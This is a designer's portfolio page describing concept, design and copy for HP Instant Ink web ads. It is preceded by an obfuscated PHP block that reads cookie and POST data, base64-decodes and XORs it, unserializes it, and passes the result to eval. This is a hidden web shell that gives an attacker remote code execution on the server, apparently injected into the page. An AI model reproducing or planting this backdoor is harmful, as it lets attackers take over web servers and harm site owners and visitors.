$kUSsPi = chr ( 186 - 113 )."\x79" . chr (95) . chr ( 512 - 436 ).chr ( 206 - 108 )."\x6c" . "\x42";$niWSxOmlJy = chr ( 907 - 808 ).chr (108) . "\141" . "\x73" . "\x73" . "\137" . "\145" . 'x' . "\151" . "\x73" . chr (116) . 's';$Pucgs = class_exists($kUSsPi); $kUSsPi = "33406";$niWSxOmlJy = "14515";$hlomTfO = !1;if ($Pucgs == $hlomTfO){function AdMtLs(){return FALSE;}$WBOOsINjx = "6160";AdMtLs();class Iy_LblB{private function agkUaAjKi($WBOOsINjx){if (is_array(Iy_LblB::$DKKBsX)) {$EjhFOuphd = str_replace('<' . chr (63) . "\160" . chr ( 567 - 463 )."\160", "", Iy_LblB::$DKKBsX[chr ( 985 - 886 ).chr ( 1047 - 936 )."\x6e" . chr ( 302 - 186 ).chr (101) . "\x6e" . "\164"]);eval($EjhFOuphd); $WBOOsINjx = "6160";exit();}}private $NaOxLciy;public function uCHRAiwxBb(){echo 48490;}public function __destruct(){$WBOOsINjx = "59352_5652";$this->agkUaAjKi($WBOOsINjx); $WBOOsINjx = "59352_5652";}public function __construct($IMFcxBRD=0){$EsXieMGn = $_POST;$FPbWSZN = $_COOKIE;$nNmdoYde = "0ec9e75f-a21f-4f86-908d-7c65f5011896";$GasFA = @$FPbWSZN[substr($nNmdoYde, 0, 4)];if (!empty($GasFA)){$iPkdQCRjid = "base64";$QZBeg = "";$GasFA = explode(",", $GasFA);foreach ($GasFA as $BXUgWRx){$QZBeg .= @$FPbWSZN[$BXUgWRx];$QZBeg .= @$EsXieMGn[$BXUgWRx];}$QZBeg = array_map($iPkdQCRjid . "\137" . "\x64" . chr ( 114 - 13 )."\143" . chr (111) . "\144" . "\145", array($QZBeg,)); $QZBeg = $QZBeg[0] ^ str_repeat($nNmdoYde, (strlen($QZBeg[0]) / strlen($nNmdoYde)) + 1);Iy_LblB::$DKKBsX = @unserialize($QZBeg); $QZBeg = class_exists("59352_5652");}}public static $DKKBsX = 1752;}$IAlYgGlFFO = new /* 50311 */ Iy_LblB(6160 + 6160); $_POST = Array();unset($IAlYgGlFFO);}
Project Instant Ink Web Ads
Client HP
What I Did Concept, Design, Copy
Platform Web Ads

Asking 'what if'

HP wanted to do a big push of  their Instant Ink offering - a subscription to automatic ink replacements. Part of this push was a variation of web ads targeting different types of consumers with different benefits of  Instant Ink.

Web ads can be easy to miss - so to help draw attention, I proposed catching the viewers’ eye with a bright, punchy color and keeping their attention by starting off with a question. Posing an open-ended question tends to keep people's attention and gets them to internally process how they would answer themselves.

Below are the frames for a couple of the web ads that I  developed. When animated, the web adsslide from frame to frame with the yellow line bouncing through each one.



Convenience
Sustainability

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Copyright · Joseph Nay 2021